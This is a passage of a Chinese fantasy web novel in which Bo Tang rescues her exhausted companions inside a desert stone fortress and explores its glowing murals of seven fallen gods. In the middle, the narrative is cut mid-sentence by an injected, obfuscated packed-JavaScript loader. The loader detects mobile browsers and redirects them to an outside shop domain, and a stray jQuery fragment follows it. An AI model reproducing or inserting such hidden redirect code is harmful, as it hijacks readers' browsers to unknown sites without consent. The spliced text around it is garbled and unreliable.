云层之上,泊棠趴在烈火凤凰的背部,迎风而行。
良久之后,泊棠感觉烈火凤凰在降落,被衣物裹挟的皮肤又开始发汗,她爬起来朝下看,无奈倒下,眯着眼睛避开刺目阳光,“怎么还没出沙漠啊。”
落地速度很快,见泊棠不愿意下去,烈火凤凰将她抖下身去。
泊棠没有丝毫准备,被它抖出去,眼瞅就要掉在沙地里,烈火凤凰贴心地用翅膀兜住她,缓缓放她落地。
脚触地的刹那,泊棠视线明晰,一片阴影降自己遮盖,并非烈火凤凰的翅膀,而是一座苍色石堡,墙体遍布岁月侵蚀的痕迹,遮蔽大地长风,她从底下抬头望,屋顶就是个小黑点,像一座大山压在沙地之上。
泊棠像前走了数十米,在石堡门前站定,迟迟不再挪步。
石门约莫两三层楼高,开了条小缝,正好容一人进入的宽度。
门上有文字法阵的图案,其中一个字被人为破坏,这才导致门开了个通道。
泊棠回头看烈火凤凰,它已经在沙地上刨了个大坑,一屁股窝在里头闭目养神。
她咬咬牙迈进一只脚,好在没出现一只骷髅手抓住她脚的情况,泊棠拍拍胸脯,安慰自己别想那么多。
两只脚彻底进去后,一只冰冷的手用了握住泊棠的脚踝,她的全身瞬间僵硬,血似乎从脚板倒流回心脏。
石堡内本就寒冷,与外头相差甚大,说是两个世界都不为过。
虽说这只手不是骷髅手,但这手骨骼分明,静谧中细细感受,与骷髅又有何区别,泊棠脑子一片空白,丝毫声音不敢外泄,仿佛就要气息断绝,窒息而去。
“水……”
微弱的声音传来,大抵是因为缺水太久,此人喉咙沙哑,说起话来含糊不清,泊棠勉强能听清“水”字。
可她身上也没水啊,霍容留下的那节藤蔓也只剩下最后一片叶子,泊棠犹豫片刻,还是决定喂给地上的人。
即使门开了条小缝,周围还是一片漆黑,想来是残缺的法阵隔绝了光线,伸手不见五指,泊棠甚至不能分辨求救之人的方位,只好蹲下摸索,这一摸,又有一只手攀上泊棠的手腕。
这只手明显比抓脚踝的那只手更娇小些,也更冰凉。
“是泊棠吗?”
抓住泊棠手腕的人发出声音,状态也比最先求救的那人要稍稍好些,蹲下身子声音的更为清晰,泊棠也听出来是林雾的声音,应声道:“是我。”
泊棠出声后,两只手几乎同时泄力。
现下她是真犯难了,手上只有一片叶子,泊棠空闲的手挠挠头,做出了个小时候就想试验的决定,一个解药究竟能不能分成两半给两个人用。
虽然这不是解药……
泊棠将一片叶子分成两半,手在地上摸索,触碰到两人的手将叶子交给他们,“快吃这个。”
林雾伸手接过,“贺礼行快不行了,先给他。”
泊棠让她先给自己吃,自己手上还有一个。
“另一个给你脚边的言朔,我还能撑。”
泊棠这才知道一开始抓住自己脚的是言朔,言朔一直没接过自己手里的叶子,恐怕是察觉到安全,心里的一口气松了,人也就昏死过去了。
“你吃,他死不了。”泊棠将手里另一片叶子塞给林雾。
在这么黑的地方呆久了,泊棠都快怀疑自己失明了,倏然想起霍容之前给自己夜明珠,掏出来后石堡内部顿时亮起来。
越黑的地方光就越亮,泊棠抬眼一看,林雾在给言朔吃另一半叶子,再看旁边的贺礼行,嘴唇的干裂在愈合。
她自己没吃。
“我说了他死不了。”泊棠蹙眉,语气没太控制,怒意汹涌。
林雾站起身,抹了把鼻子,笑嘻嘻道:“我给他疗伤的时候能感觉到他体制特殊,同你很像。”
“那你自己还不吃?”
“缺水的感觉很难受的,我以前在无霞宗经常整天整天喝不上水,已经习惯了。”林雾眼光撇开,不正视泊棠,她知道泊棠在不高兴。
泊棠张开嘴想说些什么,最终还是闭上,方才在沙漠里快晕倒的感受她还没忘,知道那滋味不好受。
她上前抱住林雾。
林雾脸贴在泊棠锁骨处,顿了顿,就这样在原地站着。
直到言朔从地上爬起,泊棠才松开她。
七岁的泊棠被父母带回家时,妈妈也是这样抱着她的,区别是当时是坐着的。
贺礼行呈一个大字躺在地上,据林雾所说,他没有修为护体,一路上自己和言朔将提神草全部省下来给他,他现在怕是已经被沙子给埋了。
言朔吃了半片藤蔓上的嫩叶,总算能提起点力,借着泊棠手上夜明珠的光,将贺礼行拖到门边靠着。
夜明珠的光照射的范围有限,甚至看不清石堡内部全貌,况且石堡的法阵似乎在有意无意吸收光线,若是法阵没有被破坏,夜明珠在这里面应当是一丝光亮都散发不出来。
泊棠手指收拢,紧握夜明珠,“门上法阵的字符是你们破坏的吗?”
言朔摇头道:“我们赶到这时已经筋疲力尽,连门上有法阵都没发现。”
石堡内部隐隐有回声,泊棠朝着一个方向直走,少时,一堵墙出现在眼前,上面还有白色线条,细细密密,十分绵长。
林雾一直跟在泊棠后头,一同瞧见石灰色墙壁,上面还附着着淡淡的清香,像雨水浸润腐叶、湿润泥土的土息,混合竹叶的清芬,若有若无,令人心驰神往,她鬼使神差地用指尖轻触墙壁。
犹如花火绽放的瞬间,整个石堡的墙壁陆续亮起来,沿着白色线条闪烁着耀眼的桃红色光泽,凑近观察就能发现这些线条其实还泛着彩色斑点,泊棠瞳孔倒映着缤纷的壁画,身子转了个圈,心里满是震撼,指尖松开,夜明珠险些掉在地上。
石堡中央是个木制旋转楼梯,每一层楼梯两侧有设置观赏台。
泊棠简略看了遍壁画,上面是七个神像,每个神像旁写着古老字符,反正她看不懂,向林雾和言朔投去目光,二人皆是以“我也看不懂”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775420|207091||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的目光回敬。
泊棠往旋转楼梯走去,拾级而上,到达第一个观赏台,上面画着每个神因何陨落。
六个神像用的是同一个姿势,身姿下沉、光芒流失、形体破损虚化。
第七个,只有身体,没画头,不,是被人扣掉了。
扣掉的那一块裸露石灰色墙壁,不同于其他地方光芒灿烂。
上面还有两层,泊棠准备继续爬。
身后跟着的言朔似乎犹豫了许久,还是开口找泊棠说话,“舒韫,你还记得我们小时候去的那个山洞吗?”
“不记得”三个字都快说出来了,泊棠硬生生憋了回去,莫非言朔看出自己不对劲想要试探自己?
被世界规则惩罚还没过去多久呢,泊棠好了伤疤可没忘记疼,笑着点头道:“记得啊,往事还是不要追忆了吧。”
泊棠还在琢磨待会要怎么应付言朔,谁知言朔竟然真的乖乖闭嘴了。
正要松口气的泊棠脑海里突然冒出系统提示音【关键人物言朔角色觉醒,奖励100积分,抵扣赊账,积分结余60】
“!”
泊棠右脚比左脚多踩一级台阶,顿时愣在原地,缓缓回头俯视言朔,言朔镇定自若地回看,眼里满是摸不清的情绪。
林雾一直侧头欣赏壁画,没看见泊棠停下脚步,直接撞上了泊棠的背,下意识抓紧泊棠的衣角。
泊棠回过神一把够住林雾,防止她摔下去,这楼梯只有台阶没有扶手,这一回头才发现自己站的如此高,深吸口气继续爬。
既然言朔此时没有质问自己的意思,那她也假装什么都没发生。
第二个观赏台画的六个妙相之光,泊棠立即将剩余四个妙相之光的模样记下来。
第三个观赏台,也是最后一个,壁画不完整,桃红色光线相聚于一点,光点在观赏台正上方,太高了,三人抬头没看两眼就被刺的眼睛发酸,纷纷低头眨眼睛。
泊棠准备直接飞上去把光点里的东西拿出来,这扬手一摆,才发觉飞不起来。
林雾和言朔亦然。
她们这才知道石堡的法阵不止用来隔绝外头的光,也限制里头人的飞行。
言朔掏出剑,劈出两道剑气,试图打断壁画连接光点的光线。
为避免破坏石堡里的壁画,言朔控制着力道,剑气一旦逼近石壁就会自动消散。
一顿操作下来,光线没有受到丝毫影响,泊棠左右环视,实在找不到合适的工具。
剑没有用,那身上就只有妙相之光了。
泊棠拿出小沙弥,对着光线晃了晃,这次光线有了反应,分出部分缠绕在小沙弥身上。
然后,她被光线扯的离开观测台,泊棠就走神两秒,脚已经悬空,低头一看,说是万丈深渊也毫不为过了,掉下去有不死金身的挂在都得肝肠寸断,骨断身催,说不定还要在这种恶劣条件下继续完成任务。
泊棠想想就心慌,双手握紧小沙弥,头高高昂起,不往下边看,光线犹如飘带,带着泊棠在石堡“荡秋千”。